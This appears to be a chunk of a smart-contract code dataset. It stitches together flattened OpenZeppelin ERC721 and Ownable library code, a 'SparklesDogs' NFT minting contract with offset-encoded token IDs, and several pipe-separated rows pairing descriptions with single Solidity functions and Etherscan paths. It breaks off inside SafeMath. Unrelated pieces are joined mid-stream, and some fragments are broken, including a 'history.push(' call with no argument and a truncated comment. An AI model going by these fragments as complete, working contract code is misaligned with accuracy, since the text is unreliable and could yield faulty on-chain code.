* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
//**********************************************************
//**********************************************************
//**********************************************************
//***************&G5Y5G&************************************
//**************B?!~~~!JG***********************************
//*************B7!^::^!!?5**********************************
//************#?!~::::~!J?B*********************************
//************P7!^^~~~!75JJ*********************************
//***********&Y77!77777JPY!#**********************&#BBB#&***
//***********BJ777?JJ?J5PJ75*******************#GY?7!~~!J#**
//**********BY????5PP5PPY77J&&&**************BYJ7!!~^::^!P**
//*********BJ????YPP55YJ7777777?JYPB&*****&GJ?5J!!~::^:^!G**
//*********PYJJJYP5J??7777?7777777!77J5G&P?7JPY777!~::^~J&**
//*********G5GPGPY77???JYJ777777???77777777?5PJ??77!:^~?B***
//**********BPBP?JYYYYYYJ?7!7!!!!!77?777777YPP5P5?77!!JB****
//***********&5?P5Y5~!G55??7?JJ?7!!!777?J?7?YPPP5??77Y#*****
//***********P7P5?YB##&&5?JJJYYJJ?7777?JJJ?77YP5J????G******
//**********&?75GGJPGB##57?YYY5YY?7?JY5YYYJ?7YP5JJ??JB******
//*********&?77~JBBGGGP5Y5555YJJ?7JP#&G!^YG?7JBP5YY5G&******
//*********B7??77J5GGGGGB&&BGGBP??P#&&#BPJYP7?BBGGG#********
//*********&JYPGGGGGGPPPP#&&&&##G5GGPPPYJYP5!5###&**********
//**********B5BGGGGGPPPPGB##GPPGGGGGGBBGG5577#**************
//***********#BBBBBBBBGPPPGBBGP5PGGP5J??777Y#***************
//**********#YJ55PGBGBJ7??J5BBBBPGGGGY!!77J&****************
//*********#7777??J55PP5JY5GB#B#BGGGGY??J5#*****************
//*********YY?77777J5Y?JJGPY5PGGBBGP555G#*******************
//********&Y777!??77JY~^^!!^?YJJJYYYYYJY********************
//********GJ?!!JJ?777~:::^^^^7?77777??Y?B*******************
//*******B7JJ7?77J?7^. .~?7777!!JJ5*******************
//******&Y?YJ?77PJ77?7. .~7?YJ77!7?YJ*******************
//*****#BYJ?77!5P?7?!: ~7JP777!?YY*******************
//****P?5??777!GPY?^ ^JYP?7?7775*******************
//*****B5????7!B#5~^:::.....:^YY5B?7777?P*******************
//****#5J??JJ?7#*&B5J7!~~^~~~?GB&*J7?JJYJY#*****************
//****BYJJ?7??J&******&#BBB#&****#?777?7??Y&****************
//******&#####&*******************#G55PPG##*****************
//**********************************************************
//**********************************************************
//**********************************************************
contract SparklesDogs is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 5;
uint256 public tokenAddress;
bool public paused;
using Strings for uint256;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
constructor(
string memory _name,
string memory _symbol,
uint256 _tokenAddress
)
ERC721(_name, _symbol) {
setTokenAddress(_tokenAddress);
}
function mintOneGift(address to, uint256 tokenId, string memory _nftUri ) public onlyOwner {
require (tokenId > 881);
require (tokenId < 1000);
_safeMint(to, tokenId );
_setTokenURI(tokenId, _nftUri);
}
function mintFive(uint256 _mintAmount1, uint256 _mintAmount2, uint256 _mintAmount3, uint256 _mintAmount4, uint256 _mintAmount5
, string[] memory _nftUri ) public payable {
require(!paused);
uint256 mintAmount1 = (_mintAmount1 - tokenAddress) / 1000000;
uint256 _breeds1 = (_mintAmount1 - tokenAddress) % 1000;
require (_breeds1 + mintAmount1 <= 882);
if(_breeds1 % 21 != 0)
{
require(_exists(_breeds1 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount1 + _breeds1 <= (((_mintAmount1 - tokenAddress) % 100000) / 1000*21)));
uint256 mintAmount2 = _mintAmount2 / 1000000;
uint256 _breeds2 = _mintAmount2 % 1000;
require (_breeds2 + mintAmount2 <= 882);
if(_breeds2 % 21 != 0)
{
require(_exists(_breeds2 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount2 + _breeds2 <= ((_mintAmount2 % 100000) / 1000*21)));
uint256 mintAmount3 = _mintAmount3 / 1000000;
uint256 _breeds3 = _mintAmount3 % 1000;
require (_breeds3 + mintAmount3 <= 882);
if(_breeds3 % 21 != 0)
{
require(_exists(_breeds3 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount3 + _breeds3 <= ((_mintAmount3 % 100000) / 1000*21)));
uint256 mintAmount4 = _mintAmount4 / 1000000;
uint256 _breeds4 = _mintAmount4 % 1000;
require (_breeds4 + mintAmount4 <= 882);
if(_breeds4 % 21 != 0)
{
require(_exists(_breeds4 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount4 + _breeds4 <= ((_mintAmount4 % 100000) / 1000*21)));
uint256 mintAmount5 = _mintAmount5 / 1000000;
uint256 _breeds5 = _mintAmount5 % 1000;
require (_breeds5 + mintAmount5 <= 882);
if(_breeds5 % 21 != 0)
{
require(_exists(_breeds5 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount5 + _breeds5 <= ((_mintAmount5 % 100000) / 1000*21)));
require(mintAmount1 == 1);
require(mintAmount2 == 1);
require(mintAmount3 == 1);
require(mintAmount4 == 1);
require(mintAmount5 == 1);
if (msg.sender != owner()) {
require(msg.value >= cost * mintAmount1*5 );
}
for (uint256 i = _breeds1; i < mintAmount1 + _breeds1; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[0]);
}
for (uint256 i = _breeds2; i < mintAmount2 + _breeds2; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[1]);
}
for (uint256 i = _breeds3; i < mintAmount3 + _breeds3; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[2]);
}
for (uint256 i = _breeds4; i < mintAmount4 + _breeds4; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[3]);
}
for (uint256 i = _breeds5; i < mintAmount5 + _breeds5; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[4]);
}
}
function mintFour(uint256 _mintAmount1, uint256 _mintAmount2, uint256 _mintAmount3, uint256 _mintAmount4
, string[] memory _nftUri ) public payable {
require(!paused);
uint8 j = 0;
uint256 mintAmount1 = (_mintAmount1 - tokenAddress) / 1000000;
uint256 _breeds1 = (_mintAmount1 - tokenAddress) % 1000;
require (_breeds1 + mintAmount1 <= 882);
if(_breeds1 % 21 != 0)
{
require(_exists(_breeds1 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount1 + _breeds1 <= (((_mintAmount1 - tokenAddress) % 100000) / 1000*21)));
uint256 mintAmount2 = _mintAmount2 / 1000000;
uint256 _breeds2 = _mintAmount2 % 1000;
require (_breeds2 + mintAmount2 <= 882);
if(_breeds2 % 21 != 0)
{
require(_exists(_breeds2 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount2 + _breeds2 <= ((_mintAmount2 % 100000) / 1000*21)));
uint256 mintAmount3 = _mintAmount3 / 1000000;
uint256 _breeds3 = _mintAmount3 % 1000;
require (_breeds3 + mintAmount3 <= 882);
if(_breeds3 % 21 != 0)
{
require(_exists(_breeds3 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount3 + _breeds3 <= ((_mintAmount3 % 100000) / 1000*21)));
uint256 mintAmount4 = _mintAmount4 / 1000000;
uint256 _breeds4 = _mintAmount4 % 1000;
require (_breeds4 + mintAmount4 <= 882);
if(_breeds4 % 21 != 0)
{
require(_exists(_breeds4 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount4 + _breeds4 <= ((_mintAmount4 % 100000) / 1000*21)));
require(mintAmount1 > 0);
require(mintAmount2 > 0);
require(mintAmount3 > 0);
require(mintAmount4 > 0);
require(mintAmount1+mintAmount2+mintAmount3+mintAmount4 <= maxMintAmount);
if (msg.sender != owner()) {
require(msg.value >= cost * (mintAmount1+mintAmount2+mintAmount3+mintAmount4 ));
}
for (uint256 i = _breeds1; i < mintAmount1 + _breeds1; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds2; i < mintAmount2 + _breeds2; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds3; i < mintAmount3 + _breeds3; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds4; i < mintAmount4 + _breeds4; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
}
function mintThree(uint256 _mintAmount1, uint256 _mintAmount2, uint256 _mintAmount3, string[] memory _nftUri) public payable {
require(!paused);
uint8 j = 0;
uint256 mintAmount1 = (_mintAmount1 - tokenAddress) / 1000000;
uint256 _breeds1 = (_mintAmount1 - tokenAddress) % 1000;
require (_breeds1 + mintAmount1 <= 882);
if(_breeds1 % 21 != 0)
{
require(_exists(_breeds1 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount1 + _breeds1 <= (((_mintAmount1 - tokenAddress) % 100000) / 1000*21)));
uint256 mintAmount2 = _mintAmount2 / 1000000;
uint256 _breeds2 = _mintAmount2 % 1000;
require (_breeds2 + mintAmount2 <= 882);
if(_breeds2 % 21 != 0)
{
require(_exists(_breeds2 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount2 + _breeds2 <= ((_mintAmount2 % 100000) / 1000*21)));
uint256 mintAmount3 = _mintAmount3 / 1000000;
uint256 _breeds3 = _mintAmount3 % 1000;
require (_breeds3 + mintAmount3 <= 882);
if(_breeds3 % 21 != 0)
{
require(_exists(_breeds3 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount3 + _breeds3 <= ((_mintAmount3 % 100000) / 1000*21)));
require(mintAmount1 > 0);
require(mintAmount2 > 0);
require(mintAmount3 > 0);
require(mintAmount1+mintAmount2+mintAmount3 <= maxMintAmount);
if (msg.sender != owner()) {
require(msg.value >= cost * (mintAmount1+mintAmount2+mintAmount3 ));
}
for (uint256 i = _breeds1; i < mintAmount1 + _breeds1; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds2; i < mintAmount2 + _breeds2; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds3; i < mintAmount3 + _breeds3; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
}
function mintTwo(uint256 _mintAmount1, uint256 _mintAmount2, string[] memory _nftUri) public payable {
require(!paused);
uint8 j = 0;
uint256 mintAmount1 = (_mintAmount1 - tokenAddress) / 1000000;
uint256 _breeds1 = (_mintAmount1 - tokenAddress) % 1000;
require (_breeds1 + mintAmount1 <= 882);
if(_breeds1 % 21 != 0)
{
require(_exists(_breeds1 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount1 + _breeds1 <= (((_mintAmount1 - tokenAddress) % 100000) / 1000*21)));
uint256 mintAmount2 = _mintAmount2 / 1000000;
uint256 _breeds2 = _mintAmount2 % 1000;
require (_breeds2 + mintAmount2 <= 882);
if(_breeds2 % 21 != 0)
{
require(_exists(_breeds2 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount2 + _breeds2 <= ((_mintAmount2 % 100000) / 1000*21)));
require(mintAmount1 > 0);
require(mintAmount2 > 0);
require(mintAmount1 + mintAmount2 <= maxMintAmount);
if (msg.sender != owner()) {
require(msg.value >= cost * (mintAmount1 + mintAmount2 ));
}
for (uint256 i = _breeds1; i < mintAmount1 + _breeds1; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
for (uint256 i = _breeds2; i < mintAmount2 + _breeds2; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
}
function mintOne(uint256 _mintAmount1,string[] memory _nftUri) public payable {
require(!paused);
uint8 j = 0;
uint256 mintAmount1 = (_mintAmount1 - tokenAddress) / 1000000 ;
uint256 _breeds1 = (_mintAmount1 - tokenAddress) % 1000;
require (_breeds1 + mintAmount1 <= 882);
if(_breeds1 % 21 != 0)
{
require(_exists(_breeds1 - 1), "ERC721Metadata: URI set of nonexistent token");
}
require((mintAmount1 + _breeds1 <= (((_mintAmount1 - tokenAddress) % 100000) / 1000*21)));
require(mintAmount1 > 0);
require(mintAmount1 <= maxMintAmount);
if (msg.sender != owner()) {
require(msg.value >= cost * (mintAmount1 ));
}
for (uint256 i = _breeds1; i < mintAmount1 + _breeds1; i++) {
_safeMint(msg.sender,i);
_setTokenURI(i, _nftUri[j]);
j++;
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
return _tokenURI;
}
function setTokenURI(
uint256 _tokenId,
string memory tokenURI_
) external onlyOwner() {
_setTokenURI(_tokenId, tokenURI_);
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setTokenAddress(uint256 _newAddress) public onlyOwner() {
tokenAddress = _newAddress;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
function tokenByIndexBreed(uint256 _startID) public
view
returns (uint256)
{
uint256 j;
uint256 totalSup = totalSupply();
for (uint256 i = 0; i < totalSup; i++) {
uint256 tokenbyind = tokenByIndex(i);
if( tokenbyind >= _startID && tokenbyind < (_startID + 21) ){
j++;
}
}
return j;
}
function allTokens() public
view
returns (uint256[] memory)
{
uint256 j;
uint256[] memory tokenIds = new uint256[](totalSupply());
for (uint256 i = 0; i < totalSupply(); i++) {
if(tokenByIndex(i) >= 0 && tokenByIndex(i) < maxSupply ){
j++;
tokenIds[i] = tokenByIndex(i);
}
}
return tokenIds;
}
function allTokensInt(uint256 _start, uint256 _end) public
view
returns (uint256[] memory)
{
uint256 j;
uint256 end;
if(_end >= totalSupply()) {end = totalSupply() - 1;}
else {end = _end;}
uint256[] memory tokenIds = new uint256[](end - _start + 1);
for (uint256 i = 0; i <= end - _start ; i++) {
if(tokenByIndex(_start + i) >= 0 && tokenByIndex(_start + i) < maxSupply ){
j++;
tokenIds[i] = tokenByIndex(_start + i);
}
}
return tokenIds;
}
}
|
See {IERC721Metadata-tokenURI}./
|
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
| 14,483,728
|
./full_match/4/0xD33Ee6359051a906787131622da2215BAe6281ba/sources/contracts/library/statemachine/StateMachine.sol
|
Transitions the state and executes all callbacks. Emits a Transition event after a successful transition./
|
function transitionState(bytes32 toState, bytes32 role)
public
checkStateMachineSetup
checkTransitionCriteria(toState, role)
{
bytes32 oldState = currentState;
currentState = toState;
function(bytes32, bytes32) internal[] storage callbacks = states[oldState].callbacks;
for (uint256 i = 0; i < callbacks.length; i++) {
callbacks[i](oldState, toState);
}
history.push(
);
emit Transition(msg.sender, oldState, currentState);
}
| 12,479,057
|
./full_match/1/0x911a768fF40e6477736AA009EF0055563982bE3a/sources/src/ExternalRefinancing.sol
|
Reads the uint32 at `mPtr` in memory.
|
function readUint32(MemoryPointer mPtr) internal pure returns (uint32 value) {
assembly {
value := mload(mPtr)
}
}
| 3,218,656
|
/**
*Submitted for verification at Etherscan.io on 2021-07-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
